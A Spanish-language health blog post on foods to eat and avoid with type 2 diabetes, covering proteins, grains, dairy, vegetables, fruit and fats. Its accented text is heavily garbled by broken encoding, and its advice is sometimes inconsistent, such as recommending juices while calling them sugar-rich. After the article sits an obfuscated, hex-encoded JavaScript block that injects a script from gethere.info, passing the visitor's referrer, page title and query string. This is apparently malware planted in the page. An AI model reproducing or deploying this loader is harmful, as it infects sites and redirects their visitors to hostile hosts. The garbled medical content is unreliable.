6 Comidas Para DiabA�ticos Tipo 2 que Debes Tener en tu Mesa!

Saber que tipos de comidas para diabA�ticos tipo 2 es indispensable para llevar una vida controlada. Es cierto que debes llevar una dieta estricta, al seguir nuestros consejos te ayudara a tener las ideas mas claras al decidir que alimentos puede comer los pacientes con diabetes, asA� como las comidas prohibidas que debes eliminar por completo de tu lista. Llevar una dieta balanceada no significa que debes renunciar a todos las comidas que te gustan, y las mejores son las que te planteo el dA�a de hoy que estA?n llenas de nutrientes esenciales para ti.

El truco para que balancees tus comidas es elegir adecuadamente la combinaciA?n de alimentos que te ayudara a mantener los niveles de azA?car en la sangre dentro de los valores normales y esto lo lograras al consumir comidas para diabA�ticos tipo 2, evitando los sA�ntomas que producen esta enfermedad asA� como las complicaciones. AquA� te explicare las mejores opciones que debes elegir A�A�y lo incorpores en tu plan alimenticio.

Mejores alimentos para diabA�ticos tipo 2

1- ProteA�nas

La AsociaciA?n Americana de Diabetes recomienda las proteA�nas magras bajas en calorA�as como el pavo o el pescado. A�Puedes comer 3 porciones de alimentos como el salmA?n que tiene alto contenido de omega 3 que es ideal para el corazA?n.comidas para diabA�ticos tipo 2

Toma nota sobre:A�Top 15 De Comidas Que Engordan En Pocos DA�as

Dentro de las proteA�nas prohibidas tenemos las carnes procesadas A�asA� como las salchichas por el alto contenido de grasas, sodio que son factores para la hipertensiA?n arterial, infartos, enfermedades cerebrales que son unas de las complicaciones mA?s comunes A�para los que padecen diabetes asA� que es importante monitorear A�la presiA?n arterial.

2-Granos

Estos tambiA�n forma parte de las comidas para diabA�ticos tipo2, cuando elijas los cereales y los granos debes asegurarte de que sean integrales como la quA�noa, pan de grano, y aquellos cereales que tienen fibra que es un gran beneficios para el tracto digestivo. Los cereales enteros tienen grandes cantidades de minerales, vitaminas y fitoquA�micos.comida para diabA�ticos

Loading...

Dentro de los granos que no debes consumir tenemos, la harina blanca ya que no contienen los beneficios de los granos, estos alientos que tiene harina blanca incluyen los cereales con que desayunas normalmente, pastelerA�a en general, pan blanco evitando todas estas opciones. Trata de mantenerte alejado de las pastas y el arroz.

3-LA?cteos

Los lA?cteos tambiA�n son las ideales comidas para diabA�ticos tipo 2, como el yogurt natural que es unas de las opciones esenciales para llevar una dieta saludable. A�Le puedes agregarA� frutas como la fresa y comerlo en el desayuno y lo puede usar como un sustituto de aquellas recetasA� como la crema agria que alta en grasas saludables.

Dentro de las comidas para diabA�ticos tipo 2, evita aquellos lA?cteos A�como las bebidas achocolatadas ya que tienen azA?car.

4-Vegetales

Dentro de las mejores opciones de vegetales tenemos aquellos que no son almidonados como el coliflor, brA?coli, espA?rragos, y las zanahorias ya que son bajos en carbohidratos y ricos en fibra segA?n los especialistas. Puede consumir vegetales no almidonados A�en grandes cantidades, por lo menos al mitad de tu palto deberA�a contener estas comidas para diabA�ticos tipo 2. Si tienes antojitos de comer papas le puedes dar oportunidad al coliflor.alimentos para los diabA�ticos tipo 2

Te interesarA? leer:A�Descubre Todo lo que Debes Saber de las Dietas Vegetarianas Para Bajar de Peso

Dentro de los vegetales que son prohibidos para los diabA�ticos tipo 2 tenemos el consumo de los vegetales ricos en almidA?n como las papas, guisantes, y el maA�z. Estos alimentos deben ser ingeridos con cautela y moderaciA?n ya que son altos en carbohidratos.

5-Frutas

Otras opciones ideales de comidas para diabA�ticos tipo 2 son las frutas frescas ya que son capaces de saciar mientras se encargan de aportar antioxidantes y fibra. Como por ejemplo las bayas que son perfectas ya que disminuyen el apetito por completo. Las frutas que no son adecuadas para estos pacientes con diabetes son las frutas que contienen almA�bar y las frutas secas que tienen grandes concentraciones de azA?car. TambiA�n puedes tomar jugos naturales ya que son ricos en azucares y no tiene los mismos nutrientes que las frutas enteras.

6-Grasas

Algunas grasas saludables se encargan de proteger el corazA?n, A�asA� que debes elegir grasas mono insaturadas que la puedes encontrar en los aguacates, frutos secos como las almendras o tambiA�n las grasas polinsaturadas que se suelen encontrar en las nueces A�y te reducirA? el colesterol.recetas para diabA�ticos

Dentro las grasas prohibidas tenemos A�las grasa saturadas se encargan de aumentar el colesterol malo, asA� que debes limitar el consumo de frituras, mantequillas, salsas, quesos, debes mantener estas calorA�as lejos de tu dietas. Aquellas grasa tras-saturadas son peores y no entran dentro de las comidas de diabA�ticos tipo 2.

Revisas las etiquetas de los alimentos que consumas asA� como los productos procesados y empaquetados, las galletas saladas. Te recomiendo supervisar la lista de compras A�y que te asegures de consumir las adecuadas comidas para diabA�ticos tipo 2.

Espero que con nuestros consejos sobre las comidas para diabA�ticos tipo 2 te ayude a obtener los detalles para tener una dieta balanceada y tener una correcta alimentaciA?n si sufres de esta enfermedad metabA?lica o si tienes algA?n familiar con diabetes. Si tienes alguna inquietud, dA�janos tu comentario. Y si has teniendo A�alguna experiencia compA?rtela con nosotros.

Porque leA�ste nuestra nota te recomendamos:A�Aprende A Controlar El Apetito Con 9 Pasos Efectivos

var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Loading...
{ 0 comments… add one }

Déjanos tu comentario